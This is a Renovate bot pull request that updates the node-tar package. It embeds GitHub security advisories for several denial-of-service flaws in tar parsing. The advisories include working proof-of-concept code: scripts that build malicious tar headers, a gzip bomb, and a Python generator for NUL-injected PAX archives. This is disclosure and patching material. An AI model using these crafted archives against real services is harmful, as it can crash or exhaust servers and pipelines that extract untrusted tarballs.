Skip to content

fix(deps): update dependency tar@<=7.5.10 to >=7.5.22 [security] - #321

Merged
prisis merged 3 commits into
mainfrom
renovate/npm-tar-=7.5.10-vulnerability
Aug 10, 2026
Merged

fix(deps): update dependency tar@<=7.5.10 to >=7.5.22 [security]#321
prisis merged 3 commits into
mainfrom
renovate/npm-tar-=7.5.10-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 26, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
tar@<=7.5.10 >=7.5.16>=7.5.22 age confidence

node-tar: Negative tar entry size causes infinite loop in archive replace

CVE-2026-59874 / GHSA-8x88-c5mf-7j5w

More information

Details

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true
Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar: Decompression/parse DoS via unlimited input

CVE-2026-59873 / GHSA-23hp-3jrh-7fpw

More information

Details

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details

The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC

The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

  1. Create the exploit script:
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
  1. Run the PoC:
node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records

CVE-2026-59875 / GHSA-gvwx-54wh-qm9j

More information

Details

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.


Root cause
Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:

// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}

The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.

Downstream blast radius

entry.path and entry.linkpath are consumed in:

  • src/unpack.tsfs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir
  • src/list.ts (no crash — listing tolerates NUL in strings)
  • Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.


Proof of Concept
Artifacts
  • poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt
  • poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)
  • poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)
Tarball generator (minimal repro — Python 3)
#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)
Reproduction
##### 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

##### 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16

##### 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'
Observed output (verified 2026-06-23 against tar@7.5.16)
UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.


Impact
Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

  • npm registry tarball ingestion and downstream mirrors
  • GitHub Actions cache restore (actions/cache, actions/setup-* extracting toolchains)
  • Container image build pipelines that unpack layer tarballs through node tooling
  • Backup-restore services accepting user uploads
  • CI artifact processors and badge generators
  • Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
  • Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

Secondary: parser-differential validator bypass (CWE-436)
Tool Result for path=visible.txt\x00hidden.txt
GNU tar (tar -tvf) Lists visible.txt (truncated at NUL)
bsdtar -tvf Lists visible.txt (truncated at NUL)
Python tarfile.list() Lists visible.txt\x00hidden.txt (raw)
node-tar tar.t({file}) Emits raw NUL-bearing path (no crash)
node-tar tar.x({file}) Crashes (uncaught throw)

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.


Suggested patch

Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:

--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar: Process crash via PAX numeric path type confusion

CVE-2026-59871 / GHSA-w8wr-v893-vjvp

More information

Details

Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts it. The PAX header parser coerces all-digit path values to JavaScript numbers, which causes an uncaught TypeError when downstream code calls .split('/') on the numeric value. Error handlers and strict: false cannot intercept the crash.

Details

In pax.ts line 180, parseKV converts PAX values matching /^[0-9]+$/ to numbers via +v. This applies to all fields including path and linkpath. When a PAX header sets path to an all-digit string like "12345", the value becomes the number 12345.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where normalizeWindowsPath(entry.path).split('/') throws a TypeError because numbers don't have .split().

The throw is synchronous during event emission and bypasses all error handling:

  • strict: false does not help
  • 'error' event handlers do not catch it
  • 'warn' handlers do not catch it
  • The TypeError propagates through the event emitter stack as an uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash. File type entries crash earlier in Header constructor at this.path.slice(-1), but that throw is caught and emitted as a warning only.

PoC

Create a tar archive with a PAX extended header containing an all-digit path:

PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')

Extract it:

const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });

The archive is ~2.5KB. The crash is deterministic on every attempt.

Impact

Denial of service. Any application or tool that extracts untrusted tar archives crashes from a single small file. This includes npm (which uses node-tar to extract packages), CI/CD pipelines, file upload processors, and backup tools. The crash cannot be caught by application-level error handling.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection

GHSA-r292-9mhp-454m

More information

Details

Summary

node-tar (npm tar) contains an uncontrolled-recursion stack-exhaustion DoS in the internal mapHas helper used by filesFilter. When a consumer calls tar.t(...) or tar.x(...) with a non-empty member-selection list, node-tar installs a filter that closes over the recursive mapHas (src/list.ts:33-44). mapHas walks an entry path upward one path.dirname() call per recursion with no segment cap. A single crafted tar with a GNU-L (or PAX-x) long-path header can deliver a path of tens of thousands of /-separated segments (up to maxMetaEntrySize = 1 MiB). The recursion overflows the call stack, throwing an uncatchable RangeError that terminates the Node process on async/streaming consumers.

Root Cause

filesFilter (src/list.ts:27-51) is installed whenever a caller passes a member-selection list (src/list.ts:119-122, src/extract.ts:55-57). Its filter is invoked at src/parse.ts:253 (entry.ignore = entry.ignore || !this.filter(entry.path, entry)) inside Parser[CONSUMEHEADER] — and crucially outside the only try/catch in that method (which wraps new Header at src/parse.ts:179-183). mapHas recurses once per path segment with no depth limit. The Unpack maxDepth guard (src/unpack.ts:342, in [CHECKPATH]) only runs on the 'entry' event, which fires after CONSUMEHEADER has already invoked the filter — so the stack overflows before any depth guard executes. tar.t (list) has no maxDepth at all.

Impact

Unauthenticated, remotely-triggerable denial of service: a ~188-byte gzip (≈26 KB tar) crashes any service that lists or extracts selected members from an untrusted archive (package registries, CI artifact/cache restore, upload processors). On async (await tar.t(...)/tar.x(...)) and streaming/pipe consumers the RangeError escapes the promise as an uncaughtException and terminates the process — standard defensive try/catch around the async call does NOT prevent it. (The synchronous API is catchable; the async/stream paths — the dominant server pattern — are not.)

Proof of Concept
// Build a tar whose single entry has a GNU-L long path of ~12,000 "a/" segments (~26 KB),
// gzip it (≈188 bytes), then have a consumer list/extract with member selection:
const tar = require('tar');
await tar.t({ file: 'evil.tar.gz', gzip: true }, ['some-member']); // -> RangeError, process exit

Empirically reproduced on Node v24.18.0 against built dist/commonjs of node-tar 7.5.20: 188-byte gzip → 26,112-byte tar (12,000 segments) → uncaught RangeError: Maximum call stack size exceeded → process exit. A control run with no member-selection list (filter not installed) parses cleanly (exit 0), isolating mapHas as the sole cause.

Attack Chain
  1. Entry. Attacker crafts a tar with a GNU L (or PAX x) long-path header whose body is "a/"×~12000 (~26 KB), followed by a normal file entry.
    • Guard: maxMetaEntrySize caps the meta body at 1 MiB (src/parse.ts:241).
    • Bypass proof: 26 KB ≪ 1 MiB → accepted (verified: 26 KB archive parsed up to the filter).
  2. Trigger. Victim service calls tar.t({file},[sel]) or tar.x({file,cwd},[sel]) (member selection — a documented, common API).
    • Guard: Unpack.maxDepth (default 1024) at src/unpack.ts:342; decompression-ratio guard.
    • Bypass proof: maxDepth lives in [CHECKPATH] on the 'entry' event, which fires after CONSUMEHEADER's filter call — the crash occurs before it (extract exits 1 with default maxDepth). tar.t has no maxDepth. Ratio is ~139× (trivial); no total-bytes cap applies to the uncompressed meta body.
  3. Sink. this.filter(entry.path)mapHas recurses once per / segment (src/list.ts:39).
    • Guard: try/catch in CONSUMEHEADER.
    • Bypass proof: the only try/catch wraps new Header (src/parse.ts:179-183); the this.filter(...) call at src/parse.ts:253 is outside it. The RangeError propagates out of the stream write/'data' path → uncaught exception (verified: process.on('uncaughtException') fires; async await+try/catch does NOT intercept).
  4. Impact. Node process termination; a 188-byte gzip crashes any consumer that lists/extracts selected members from untrusted archives.
Bypass Evidence
  • mapHas recursion is member-name-independent: the crash fires even when the requested members do not match the malicious entry path — the attacker only needs the consumer to use member selection.
  • Standalone mapHas overflows at 20k–30k segments; on the real streaming path (atop write → CONSUMECHUNK → CONSUMEHEADER → filter) it crashes at ≤8k segments (finder's ~12k estimate is accurate for the reachable path).
  • Control (no member list → no filter) parses cleanly (exit 0), isolating mapHas.
Affected Versions

<= 7.5.20 (npm tar). mapHas present verbatim on tag v7.5.20 (latest GitHub release and npm dist-tag latest); no segment/depth cap in src/list.ts or the CONSUMEHEADER filter path; HEAD == 7.5.20, no unreleased fix.

Suggested Fix

Rewrite mapHas iteratively (walk dirname in a while loop with a segment/visited cap), or enforce a hard path-segment limit in Header/Parser independent of maxMetaEntrySize, applied before any per-entry filter runs.

Dedup Note

Distinct from CVE-2024-28863 / GHSA-f5x3-32g6-qm9j "lack of folders depth validation" (that bounds mkdir recursion during extraction via maxDepth in Unpack[CHECKPATH] on the 'entry' event — a different sink, code path, and fix; runs after the filter and does not apply to tar.t). Also distinct from the PAX NUL/numeric-path crash advisories (improper-input-to-fs / type confusion, not recursion) and the gzip-bomb advisory (resource exhaustion on disk writes). None touch list.ts/filesFilter/mapHas or require member selection.


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

⚠️ Renovate does not enforce Minimum Release Age for bump, lockfileUpdate, or rollback updates, so these are raised without a Minimum Release Age check. You will need to manually validate the Minimum Release Age for these package(s).


Release Notes

isaacs/node-tar (tar@<=7.5.10)

v7.5.22

Compare Source

v7.5.21

Compare Source

v7.5.20

Compare Source

v7.5.19

Compare Source

v7.5.18

Compare Source

v7.5.17

Compare Source


Configuration

📅 Schedule: (in timezone Europe/Berlin)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot requested a review from prisis as a code owner July 26, 2026 17:00
@renovate
renovate Bot enabled auto-merge (squash) July 26, 2026 17:00
@renovate

renovate Bot commented Jul 26, 2026

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: pnpm-lock.yaml
ERROR: This version of pnpm requires at least Node.js v22.13
The current version of Node.js is v18.20.8
Visit https://r.pnpm.io/comp to see the list of past pnpm versions with respective Node.js version support.

@github-actions

Copy link
Copy Markdown
Contributor

Thank you for following the naming conventions! 🙏

@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.10-vulnerability branch from afc9864 to 27f1198 Compare July 26, 2026 21:59
@renovate renovate Bot changed the title fix(deps): update dependency tar@<=7.5.10 to >=7.5.18 [security] fix(deps): update dependency tar@<=7.5.10 to >=7.5.19 [security] Jul 26, 2026
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.10-vulnerability branch from 27f1198 to baf0f56 Compare July 29, 2026 21:03
@renovate renovate Bot changed the title fix(deps): update dependency tar@<=7.5.10 to >=7.5.19 [security] fix(deps): update dependency tar@<=7.5.10 to >=7.5.21 [security] Jul 29, 2026
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.10-vulnerability branch from baf0f56 to 4ae3448 Compare July 30, 2026 21:04
@renovate renovate Bot changed the title fix(deps): update dependency tar@<=7.5.10 to >=7.5.21 [security] fix(deps): update dependency tar@<=7.5.10 to >=7.5.22 [security] Jul 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.10-vulnerability branch from 4ae3448 to c9313cf Compare July 31, 2026 03:37
@renovate renovate Bot changed the title fix(deps): update dependency tar@<=7.5.10 to >=7.5.22 [security] fix(deps): update dependency tar@<=7.5.10 to >=7.5.21 [security] Jul 31, 2026
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.10-vulnerability branch from c9313cf to 7320c1f Compare August 10, 2026 21:18
@renovate renovate Bot changed the title fix(deps): update dependency tar@<=7.5.10 to >=7.5.21 [security] fix(deps): update dependency tar@<=7.5.10 to >=7.5.22 [security] Aug 10, 2026
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.10-vulnerability branch 3 times, most recently from b207493 to 6170501 Compare August 10, 2026 21:53
Signed-off-by: Renovate Bot <bot@renovateapp.com>
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.10-vulnerability branch 2 times, most recently from e0856da to 5881ded Compare August 10, 2026 22:15
@prisis
prisis force-pushed the renovate/npm-tar-=7.5.10-vulnerability branch from 5881ded to 320c6d7 Compare August 10, 2026 22:15
@prisis
prisis merged commit 2a0d62a into main Aug 10, 2026
9 of 11 checks passed
@prisis
prisis deleted the renovate/npm-tar-=7.5.10-vulnerability branch August 10, 2026 22:15
prisis pushed a commit that referenced this pull request Aug 19, 2026
…-08-19)

### ⚠ BREAKING CHANGES

* **deps:** updated dependencies to major versions

* chore: merge renovate update against main

* chore: merge renovate update against main

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

* chore: merge renovate update against main
* **deps:** updated dependencies to major versions

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

### Bug Fixes

* **build:** resolve pnpm audit advisories ([60384be](60384be))
* **deps:** update angular monorepo to >=21.2.19 ([#433](#433)) ([d36dfe9](d36dfe9))
* **deps:** update anolilab/workflows digest to 7d86f54 ([#292](#292)) ([b23dcf1](b23dcf1))
* **deps:** update astro monorepo to >=7.1.6 ([#434](#434)) ([b20afcc](b20afcc))
* **deps:** update babel monorepo (patch) ([#294](#294)) ([f02eeb2](f02eeb2))
* **deps:** update dependency @angular/common@<19.2.16 to v20 [security] ([#361](#361)) ([2977531](2977531))
* **deps:** update dependency @angular/compiler@>=19.0.0-next.0 <19.2.17 to v20 [security] ([#362](#362)) ([a8fe1c8](a8fe1c8))
* **deps:** update dependency @angular/compiler@>=19.0.0-next.0 <19.2.18 to v20 [security] ([#363](#363)) ([5b5d10b](5b5d10b))
* **deps:** update dependency @angular/compiler@>=19.0.0-next.0 <19.2.20 to v20 [security] ([#364](#364)) ([e100192](e100192))
* **deps:** update dependency @babel/core to ^7.29.7 ([#435](#435)) ([4ab1585](4ab1585))
* **deps:** update dependency @nuxt/devtools@<2.6.4 to v3 [security] ([#373](#373)) ([98a78a1](98a78a1))
* **deps:** update dependency @rspack/core to ^2.0.8 ([#436](#436)) ([1f007d7](1f007d7))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#329](#329)) ([0d58b0d](0d58b0d))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#411](#411)) ([b17988b](b17988b))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#418](#418)) ([c0784eb](c0784eb))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#421](#421)) ([6c402e7](6c402e7))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#425](#425)) ([13ad0ea](13ad0ea))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#426](#426)) ([a360ce6](a360ce6))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#427](#427)) ([e84bce2](e84bce2))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#428](#428)) ([35d65b3](35d65b3))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#429](#429)) ([bc9cf64](bc9cf64))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#430](#430)) ([0d650bf](0d650bf))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#431](#431)) ([5ba4fd5](5ba4fd5))
* **deps:** update dependency @sveltejs/kit to v2.70.2 [security] ([#432](#432)) ([1a2bc7c](1a2bc7c))
